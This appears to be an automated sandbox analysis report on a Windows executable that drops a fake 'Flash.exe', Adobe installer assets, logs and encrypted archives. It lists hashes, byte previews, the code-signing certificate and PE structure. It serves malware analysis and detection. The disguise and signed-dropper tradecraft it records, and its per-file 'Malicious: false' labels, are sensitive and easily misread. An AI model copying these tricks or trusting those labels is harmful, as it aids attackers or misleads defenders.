File Type:	PNG image data, 183 x 62, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3954
Entropy (8bit):	7.911174881926204
Encrypted:	false
SSDEEP:	96:79SDZ/I09Da01l+gmkyTt6Hk8nTeeh4UEJZ9nJvm:BSDS0tKg9E05TeC4UG9nJ+
MD5:	793051F2B56DBAB490F90D882D0E0564
SHA1:	A4EA713715FED209E236901479C7CFCEC2EE8EAA
SHA-256:	9EFCA08473FC2478111C4B55EF97611F95435CE0BDADE9C80247EEFA2AA9E363
SHA-512:	22D3A9A832A3857244388E02C64C61DAEE8B064157C50335D41C8E65696516A513CFA50C40649CE07202A82DDA3F4845E21E6EA36222FFA4AF1C73A5AE583987
Malicious:	false
Preview:	.PNG........IHDR.......>.....i......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_short_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 244 x 82, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.215984262146164
Encrypted:	false
SSDEEP:	48:zzrccvnL3tf0J3r0ZwSgxn+URFIlfJbUzvjIe:4MNqJ5xn+llhYzrN
MD5:	E34E6D888B89626B6932BEFF5DF5306A
SHA1:	2DF20A1C6D917C13E9373690B8645674224600FF
SHA-256:	A93CA7125EBAE14039AAF0A771D489D17D6C20BB2D2B1E1B8B489496415CBCA9
SHA-512:	318DE9554148FAA225018A0A2D176F26EB4DA6F3F500AC00408E573C7DCEE025A479EA4C67EF7E1011EB4DB526AEFCB15D79672BE65D03EAFCABF1877FE3F26B
Malicious:	false
Preview:	.PNG........IHDR.......R.....cj......tEXtSoftware.Adobe ImageReadyq.e<...tiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:45DBC051562A11E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:45DBC050562A11E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d99b3e1d-1bc8-4b70-9ba7-bd9ea50b9821" stRef:documentID="xmp.did:D2A0077F583711E4A1D0D2EB38AA961A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.D.=....IDATx....o.u...O.vLV.H'.).b...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\SC[1] Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	71190
Entropy (8bit):	5.382916205103475
Encrypted:	false
SSDEEP:	1536:UtwhIzGZXgPxI5u18tAQc3TYZvB7nr1RMv99:WwFXXui6/3TYZpDKL
MD5:	05A40C9A17B16A1DEFDCAA543FC59BE4
SHA1:	2426773C425BEA7C5C7EEFDECC757F51D1BE39D6
SHA-256:	87DE65D83E9945D7ADCC3F212E4C6A48D3ECD7B057FF181171396402D3C128C6
SHA-512:	FE78F910E54A354C8E710752DFB7CBC420621C0BA634C2DD19760E57F2F1FFC289FE69F7A53DE81AE29D3BA2A6C264641127CDE690DFDD5E2F3A3EBC9293A6D3
Malicious:	false
IE Cache URL:	res://C:\Users\user\AppData\Roaming\Flash.exe/SC/#168
Preview:	var s_Host = window.location.hostname.toLowerCase();.. var s_URL = document.URL.toLowerCase();.. var s_JsHost = (("https:" == document.location.protocol) ? "https://www.adobe.com" : "http://wwwimages.adobe.com");.. .. / Define rsid and create s object/.. //if (s_Host.indexOf(".dev.adobe.") != -1 \|\| s_Host.indexOf(".corp.adobe") != -1 \|\| s_Host.indexOf(".dev0") != -1 \|\| s_Host.indexOf(".qa0") != -1 \|\| s_Host.indexOf(".pr0") != -1 \|\| s_Host.indexOf("day.adobe.com") != -1 \|\| s_Host.indexOf("stage.") != -1 \|\| s_Host.indexOf("stage2.") != -1 \|\| s_Host.indexOf("staging.") != -1).. //var s_adobe_account = "adbacdcqa";.. //else.. // var s_adobe_account = "adbacdcprod";.... var s_adobe_account = "";.. if(appEnvironment && (appEnvironment == "PROD")).. {.. s_adobe_account = "adbacdcprod";.. }.. else.. {.. s_adobe_account = "adbacdcqa";.. }.... var s_adobe = s_g

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\319[1] Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	155659
Entropy (8bit):	4.4847628935197275
Encrypted:	false
SSDEEP:	1536:iOCbB4TyfVqtvEurHUut5Lnm3CDPchJqhMPVX:ObB48VqtvEurtLxDP+JqhMPF
MD5:	4E53C683EC16B43745D1E0CD50D92BBE
SHA1:	2777AB0B097D264DFED141455B46CFC4D0C149D0
SHA-256:	78605A5A80B9A9A758FCEAC6B88E147E9D25329633F48D261503A6D7FF13F012
SHA-512:	5BBF8E84691F0647A51D7A90A084D22CB13A1BF1B68CDC2DC3FBCC11132FB2C9603229666C37910CFC83380C890FFA9FAC3C1229B1B3964C6E4A01B38CE143ED
Malicious:	false
IE Cache URL:	res://C:\Users\user\AppData\Roaming\Flash.exe/319
Preview:	.<!DOCTYPE html>..<html>.. <head>.. <title>Adobe Download Manager</title>.. .. Native Gateway -->.. <script type="text/javascript">.. function sendMessageToNative(message, jsonData) {.... //Convert jsonData to jsonDataString.. var jsonDataString = "";.. if (jsonData)//Todo: Handle properly.. jsonDataString = jsonData;.. try {.. if (window.external) {.. var retVal = window.external.messageFromHtml(message, jsonDataString);.. return retVal;.. }.. }.. catch (e) {.. return null;.. }.. return null;.. }.... function messageFromNative(message, jsonDataString) {.. //Convert jsonDataString to jsonData.. var jsonData;.. try {..

C:\Users\user\AppData\Local\Temp\Adobe_CDMLogs\Adobe_CDM.log Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	61650
Entropy (8bit):	3.733565803032094
Encrypted:	false
SSDEEP:	1536:xmVcBN4PNPLXnYwUKlKHHSRxGXPCKE8fAAMRzxaYxaux43A3EEoMb:R3A3Fn
MD5:	DA062AE51B28EBE3B99CF25A9D3417FE
SHA1:	DAB14C0B11CC1C6877F1D5E9E5E66C96ECC01385
SHA-256:	4315D0A81903EEAC37EBBDC6EB7751227F707E9B8D897A724B02BA0F71C5281F
SHA-512:	072E08BEA98A011E472AE8D5B49405A474623AEE6084ED324F21F0F957DCD708AEE48F5E03E6CAFF51905616001F3682771C3D6EC5F0EB02C2E6E5652F1E3730
Malicious:	false
Preview:	..0.7./.1.3./.2.1. .1.4.:.3.7.:.1.4.:.6.2.7. .\|. .[.I.N.F.O.]. .\|. . .\|. .A.D.M. .\|. . .\|. .A.p.p.l.i.c.a.t.i.o.n.C.o.n.t.e.x.t. .\|. . .\|. . .\|. .2.1.4.0. .\|. ........................ .A.D.M. .W.o.r.k.f.l.o.w. .s.t.a.r.t... .V.e.r.s.i.o.n.:. .3...0...0...6.0.9.s. ..........................*.....0.7./.1.3./.2.1. .1.4.:.3.7.:.1.4.:.6.2.7. .\|. .[.T.R.A.C.E.]. .\|. . .\|. .A.D.M. .\|. . .\|. .A.p.p.l.i.c.a.t.i.o.n.C.o.n.t.e.x.t. .\|. . .\|. . .\|. .2.1.4.0. .\|. .E.x.e.c.u.t.a.b.l.e. .N.a.m.e. .:. .F.l.a.s.h...e.x.e.....0.7./.1.3./.2.1. .1.4.:.3.7.:.1.4.:.6.2.7. .\|. .[.T.R.A.C.E.]. .\|. . .\|. .A.D.M. .\|. . .\|. .A.p.p.l.i.c.a.t.i.o.n.C.o.n.t.e.x.t. .\|. . .\|. . .\|. .2.1.4.0. .\|. .C.o.m.m.a.n.d. .L.i.n.e. .:. .t.e.s.t...e.x.e. .....0.7./.1.3./.2.1. .1.4.:.3.7.:.1.4.:.6.2.7. .\|. .[.I.N.F.O.]. .\|. . .\|. .A.D.M. .\|. . .\|. .A.p.p.l.i.c.a.t.i.o.n.C.o.n.t.e.x.t. .\|. . .\|. . .\|. .2.1.4.0. .\|. .A.d.m.i.n. .a.n.d. .n.o.t. .c.h.i.l.d. .p.r.o.c.e.s.s... .N.o. .n.e.

C:\Users\user\AppData\Local\Temp\Adobe_CDMLogs\Adobe_GDE.log Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	3.5122655068616493
Encrypted:	false
SSDEEP:	48:SMVu/f4fUfI4MfCofffL9nOf97fWfifS4Mf4yflfL9A/fIdf/7fWfifS4Mf4Qfl2:S7q++/xn4ZAE0T7ACzAE0N7Gc8Ay4w
MD5:	B08E8B9AA4256FA70BC49DD4D35436FB
SHA1:	309B982DFAC88AC049CF01D5361E96D79009F59B
SHA-256:	00C0030986DEAE14B577FC73A5844390C11DB12150C487AC63374B904F0AC400
SHA-512:	C19BCE49EC82603DB2C0AD577CED3C029F2EE11DDD8248ED1154CC6E9A9FBC0EA86727F1D4404EFB8FBC4E88B81CBBF104B2239E8EF9E56B4E443820B4D58D66
Malicious:	false
Preview:	..0.7./.1.3./.2.1. .1.4.:.3.7.:.2.0.:.7.2.0. .\|. .[.I.N.F.O.]. .\|. . .\|. . .\|. . .\|. . .\|. . .\|. . .\|. .4.6.0.4. .\|. ....................s.t.a.r.t. .o.f. .D.o.w.n.l.o.a.d................*.....0.7./.1.3./.2.1. .1.4.:.3.7.:.2.0.:.7.2.0. .\|. .[.I.N.F.O.]. .\|. . .\|. . .\|. . .\|. . .\|. . .\|. . .\|. .4.6.0.4. .\|. .G.D.E. .V.e.r.s.i.o.n. .i.s. .3...0...0...1.....0.7./.1.3./.2.1. .1.4.:.3.8.:.5.4.:.9.9.8. .\|. .[.E.R.R.O.R.]. .\|. . .\|. . .\|. . .\|. . .\|. . .\|. . .\|. .2.1.6.8. .\|. .T.h.e. .w.i.n.d.o.w.s. .e.r.r.o.r. .c.o.d.e. .i.s. .-. .1.2.1.8.0.....0.7./.1.3./.2.1. .1.4.:.3.8.:.5.4.:.9.9.8. .\|. .[.E.R.R.O.R.]. .\|. . .\|. . .\|. . .\|. . .\|. . .\|. . .\|. .2.1.6.8. .\|. .F.a.i.l.e.d. .t.o. .g.e.t. .t.h.e. .u.s.e.r. .p.r.o.x.y. .s.e.t.t.i.n.g.s... .E.r.r.o.r. .i.s. .1.2.1.8.0... .I.g.n.o.r.i.n.g. .t.h.e. .p.r.o.x.y. .s.e.t.t.i.n.g. .i.n. .t.h.i.s. .c.a.s.e.......0.7./.1.3./.2.1. .1.4.:.3.8.:.5.4.:.9.9.8. .\|. .[.E.R.R.O.R.]. .\|. . .\|. . .\|. . .\|. . .\|. . .\|. . .\|. .2.1.6.

C:\Users\user\AppData\Local\Temp\lua.zip Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	460128
Entropy (8bit):	7.996790600333928
Encrypted:	true
SSDEEP:	12288:i4rm07kL7Nq/hZXdI1yIPtZfnxBWgYyk/E:zCZKXdXgnnEy+E
MD5:	B92DAD092F14717AC6F01DF274F5FFB5
SHA1:	65B50044514618223AEBC7E542814D467984CBC1
SHA-256:	3AA5BD53A94E34FA533A725174C4F0DAC552EB2B7BC8FDD25AE0A752D05552FF
SHA-512:	2A3B1A8F2A0E567796324AC03C5607F84D9374573EB7A31A12765F0D7F8CEC46AAEF3BE126300D968120AB34289B23CCC32F9E718383BB9B2BF94CA507BD7752
Malicious:	false
Preview:	PK...........R................lua/alien/PK...........R.L$c.2...f......lua/alien/core.dll.}.x.E..IK.)..B....V).6i...)..j.._..-.MMk.l.~\@...K]...^\qe]....we.W..h..e...Z,...z_..U+....M.R.~.~.~.}....y..3.93sf.....I....@8LH'aO....A....6..L......^.k..6?.Z...jjj.j.5..&M].&...Mcs.{AR.d......~&.w.Ep.{.. ?8.......i~...d.u.7....[i.....!...U{..(..AH.$..w.z w..S$r....;s?$l@...........Wi5k...Y.WM.2.GW.,...\....'..{T+...........{..r..0..H......fAkM....[..:. .,.4.[.....B..._G.\.....3]..t....[..nh...Bm@`8H.ut...?..K..........i....'Qq.ZY.Vu......{....o..(sq.v(.......z...E.$...A...+[n......;....?.....U...v...'/m.V/.....;.M..J.pr>p.'.,qC..Z.....An.ey).G..R...i...w.+..........'..s..'.r....j.v'AZE...$J...Ty.....#..=.@yp>..=.s.Z..3......@._...W(AJ{..k.O.....].w.;.S.:)qq.... ..3....e.7.#.+.<5.}<.M..d.....p..D....\TR..6iS.Hg9_C.d.V.Z.hS.G%E\.8y..+..V._Vn{.....k...oW....m...zy9?.....W\|S=<.]:U.$...L...\|3.......9Z%..X.b....@.j.r..t.O9..%QW.n.4.Vw..........Uo

C:\Users\user\AppData\Roaming\Flash.exe Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, PECompact2 compressed
Category:	dropped
Size (bytes):	2285824
Entropy (8bit):	7.989296820149147
Encrypted:	false
SSDEEP:	49152:MgGS1LSfK6NKyLKGJmfedZGEktlzeyAweazpYo3eR0F89J:rlOS6syucmfoZvktluLazpL60oJ
MD5:	9F7C02C3D29ACFAFFA51CF2F7FF8B88A
SHA1:	C91A9A5267F59AAD175C848BC83E5B8CE7BA85CA
SHA-256:	41DD25E20FACC4AA105D61092DDC05CEE8FFE190375DD2E3CC97DC1C9B7F01C0
SHA-512:	6FFBFADC00FF4AAF41DAFD50F385B71C146A584F83D793B9FE303E7700E80AAEF71AD9F2F4DBDE852F8E9E8DBDB7E95E69B3DAD9B84D84F6EB05842098E49ECC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.............o.......o........M.....y.G.....y.D.u...y.E.(.............D......o........E...............Y.......@.......C.......F.....Rich............PE..L....#.`..................#...=.....&.........$...@.......................... c.......#...@...........................,.i.....b......0b...............".......c...............................................................,. ....................text.... b.......!.....PEC2^O...... ....rsrc........0b.......!............. ....reloc........c.......".............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\ProgramData\lua\luac.exe
File Type:	Microsoft Cabinet archive data, 61020 bytes, 1 file
Category:	dropped
Size (bytes):	61020
Entropy (8bit):	7.994886945086499
Encrypted:	true
SSDEEP:	1536:IZ/FdeYPeFusuQszEfL0/NfXfdl5lNQbGxO4EBJE:0tdeYPiuWAVtlLBGm
MD5:	2902DE11E30DCC620B184E3BB0F0C1CB
SHA1:	5D11D14A2558801A2688DC2D6DFAD39AC294F222
SHA-256:	E6A7F1F8810E46A736E80EE5AC6187690F28F4D5D35D130D410E20084B2C1544
SHA-512:	EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADE9070F131076892AF2FA0
Malicious:	false
Preview:	MSCF....\.......,...................I........l.........R.q .authroot.stl.N....5..CK..8T....c_.d....A.K....=.D.eWI..r."Y...."i..,.=.l.D.....3...3WW.......y...9..w..D.yM10....`.0.e.._.'..a0xN....)F.C..t.z.,.O20.1``L.....m?H..C..X>Oc..q.....%.!^v%<...O...-..@/.......H.J.W...... T...Fp..2.\|$....._Y..Y`&..s.1........s.{..,.":o}9.......%._.xWS.K..4"9......q.G:.........a.H.y.. ..r...q./6.p.;.`=.Dwj......!......s).B..y.......A.!W.........D!s0..!"X...l.....D0...........Ba...Z.0.o..l.3.v..W1F hSp.S)@.....'Z..QW...G...G.G.y+.x...aa`.3..X&4E..N...._O..<X.......K...xm..+M...O.H...)............o..~4.6.......p.`Bt.(..V.N.!.p.C>..%.ySXY.>.`..f\|....'^K`\..e......j/..\|..)..&i...wEj.w...o..r<.$.....C.....}.x...L..&..).r..\...>....v........7...^..L!.$..'m...,.....7F$..~..S.6$S.-y....\|.!.....x...~k...Q/.w.e...h.[...9<x...Q.x.][}_%Z..K.).3..'....M.6QkJ.N........Y..Q.n.[.(.... ...Bg..33..[...S..[... .Z..<i.-.]...po.k.,...X6......y3^.t[.Dw.]ts. R..L..`..ut_F....

C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\ProgramData\lua\luac.exe
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.1309540465402654
Encrypted:	false
SSDEEP:	6:kKfIRSdoW+N+SkQlPlEGYRMY9z+4KlDA3RUeIlD1Ut:nUO5kPlE99SNxAhUe0et
MD5:	AF497C1314CB95E47D184BBDC5EC70A0
SHA1:	7482D0F6D0D6883F974A3E1544CDB5C8E991B87F
SHA-256:	AEC04B1C7D84A729E324B9C9A827CF2F103D16BCE1E5EC4961E38724E88455FA
SHA-512:	398201380254D25592A7EF4CC54ED3ABF8B787271C436B9293788C18C7F6CC944C1BD6FA37BF20C5E90C08BA96D5B59630060C5F6C9EA0813ED7F30EC39E1792
Malicious:	false
Preview:	p...... ........!.@/x..(....................................................... .........T'._......$...........\...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.6.5.4.2.7.7.5.f.d.7.1.:.0."...

C:\Windows\Temp\2021-07-13-14-37-50.zip Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	16124619
Entropy (8bit):	7.9944810060125
Encrypted:	true
SSDEEP:	393216:EadeYGLjbzQFXlVztghnnFwOFOkbdJH/YNS2:EOeYwP89WNnFwOFHz/C
MD5:	55A7B6D67A84D10B92E16D895836F217
SHA1:	E986E07D63D2CACE57E6C381003F53324FA3F538
SHA-256:	28BA69E0AB3C3E6AEA6BE35A33B09D52ED313C5318145AB3CF07E4E1C5BC2825
SHA-512:	ECC5B9D6695CF6F030ED2B92E4145B590B401B326310353C78686AEDF01FCBEADC87C44701F99583BD2897FF6CF46B7969E5039795CA01D2539AB1D1632FC75F
Malicious:	false
Preview:	PK........JnrR................ShellExperienceHost/PK.........\|lR..c%...8-..3...ShellExperienceHost/api-ms-win-core-file-l1-2-0.dll.Y.<T[....f...}D)2...."d...&.L3cMe...J......Z.WR.....G..$.DI.R.......[~.p.=.w...~.;.{.;...... ,..>@.qh.XC.\...^&....h.G..hxE2.$6.....BiL&.G...8.L..I.s.$...dII............:..g>..i.O.....t......D.>......R.P.CE.a.sh"I.-5^H.....^SP.m4....:T.A.h^....Q...;....6....5f....3... S..m...B..x4..F......5.'s..Ph.6...'r..../..2.g..1.u.8PE>..5....@..7...~.%.....A..\....z........P.A....M.....;..f..p...L.P.......ES..z09,:....i<...R.(:.I.6...2..</z..........oVtl.}.-........X&..`...e...D7"...C.1.~Q......k.u~e.P..B.u..?..'.......Q."..zp.+F......B"..58N..Z0.a..^:f.G...>....m..E.;..........^P.<...?...-..>....PL..\|.1.c...'......h9An..@;...h#..... :...6{.n5........(...q .." .p......!..)Ed.....3..v.H..m.L..h@>.XC..]...h..8...j8...H..[x...........F......4{D.)6.f.{.6..P.h..k\@.$.5F.7...it<.XN.V..P.6.0...z`&.........Q.....B....y...s0..D.yz..

Static File Info

General
File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.5582092129019385
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8v4iWYLvKJ.exe
File size:	2192640
MD5:	765cf8227a47cef845b23e6b56acf926
SHA1:	e96eed1b8ac0a86bacf7704cd546480a0db5fadc
SHA256:	77e4776f6db16b38b2bd6cd494017379be4cb291caab5300764c9d2857c49108
SHA512:	18a30bd7568f03f51dc0d8f41b8d1b1e808b647c75df89f959589ccc0ff01e3089020523a6f3882c9520866ee2b5d2eaf66fd10bf696f90d4a44b50bd601d1cf
SSDEEP:	49152:aH3vF85FshhD4ggDZ7tPxddC4dQnnwVc64E:cFWPx1dQnnwG6f
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%...v...v...v...w...v...w...v...w3..v...w...v...w...v...w...v...w...v...v...v...w...v...w...v...v...v..cv...v...v...v...w...

File Icon


Icon Hash:	d4a6aaadac96a902

Static PE Info

General
Entrypoint:	0x1400de3cc
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x60CAC74E [Thu Jun 17 03:53:50 2021 UTC]
TLS Callbacks:	0x400a9170, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	db7948f7bb94c20ceb8e0b74d33d72f3

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	9/5/2018 5:00:00 PM 10/5/2021 4:59:59 PM
Subject Chain	CN="Happytuk Co.,Ltd.", O="Happytuk Co.,Ltd.", L=New Taipei City, C=TW
Version:	3
Thumbprint MD5:	149631E9F9C18C19301B7EF10CA47FB8
Thumbprint SHA-1:	8CE020AA874902C532B9911A4DCA8EFFA627DC80
Thumbprint SHA-256:	F78DE1E59DF2EAC7901D4FA7D66E9818204A5C4C9B630BB2FF9439C2DEA8B5B5
Serial:	0ED4DF1033393FF2AF41C571A6AA19D7

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB1749034D0h
dec eax
add esp, 28h
jmp 00007FB174902D37h
int3
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
sub esp, 10h
dec esp
mov dword ptr [esp], edx
dec esp
mov dword ptr [esp+08h], ebx
dec ebp
xor ebx, ebx
dec esp
lea edx, dword ptr [esp+18h]
dec esp
sub edx, eax
dec ebp
cmovb edx, ebx
dec esp
mov ebx, dword ptr [00000010h]
dec ebp
cmp edx, ebx
jnc 00007FB174902ED8h
inc cx
and edx, 8D4DF000h
wait
add al, dh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1fd590	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20d000	0x6550	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x204000	0x7500	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x216800	0xd00	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x214000	0x6e98	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1fabe0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1fae00	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1fac40	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xee000	0x598	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xece50	0xed000	False	0.508114327861	data	6.22851503869	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xee000	0x11091e	0x110a00	False	0.59586431826	data	6.40602356687	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1ff000	0x4fc8	0x3c00	False	0.2572265625	data	3.53998063199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x204000	0x7500	0x7600	False	0.459017478814	data	5.87930593514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x20c000	0xf4	0x200	False	0.314453125	data	2.45397921274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x20d000	0x6550	0x6600	False	0.192172181373	data	4.03634011929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x214000	0x6e98	0x7000	False	0.257847377232	data	5.45292718782	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x20d450	0x4228	dBase III DBT, version number 0, next free block index 40	English	United States
RT_ICON	0x211678	0x10a8	dBase III DBT, version number 0, next free block index 40	English	United States
RT_ICON	0x212720	0x988	data	English	United States
RT_ICON	0x2130a8	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_GROUP_ICON	0x213510	0x3e	data	English	United States
RT_VERSION	0x20d1d0	0x160	MIPSEB-LE ECOFF executable not stripped - version 0.79	English	United States
RT_MANIFEST	0x20d330	0x11d	ASCII text, with no line terminators	English	United States

Imports

DLL	Import
ntdll.dll	RtlUnwindEx, NtCancelIoFileEx, RtlLookupFunctionEntry, RtlCaptureContext, NtCreateFile, NtDeviceIoControlFile, RtlNtStatusToDosError, RtlVirtualUnwind
ADVAPI32.dll	RegCloseKey, SystemFunction036, RegQueryValueExW, RegOpenKeyExW, CreateWellKnownSid, GetTokenInformation, OpenProcessToken
CRYPT32.dll	CertDuplicateStore, CertCloseStore, CertAddCertificateContextToStore, CertEnumCertificatesInStore, CertFreeCertificateChain, CertDuplicateCertificateChain, CertVerifyCertificateChainPolicy, CertDuplicateCertificateContext, CertOpenStore, CertFreeCertificateContext, CertGetCertificateChain
KERNEL32.dll	CompareStringW, LCMapStringW, WaitForSingleObject, CloseHandle, ReleaseSRWLockExclusive, GetCurrentProcess, QueryFullProcessImageNameA, Sleep, GetSystemInfo, WakeAllConditionVariable, AddVectoredExceptionHandler, SetThreadStackGuarantee, GetLastError, GetProcessHeap, HeapAlloc, HeapFree, HeapReAlloc, SystemTimeToFileTime, GetSystemTimeAsFileTime, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, GetTimeZoneInformation, AcquireSRWLockExclusive, SwitchToThread, SetLastError, GetFinalPathNameByHandleW, TryAcquireSRWLockExclusive, CreateIoCompletionPort, SetFileCompletionNotificationModes, GetQueuedCompletionStatusEx, SetHandleInformation, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockShared, ReleaseSRWLockShared, GetEnvironmentVariableW, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, GetCurrentDirectoryW, 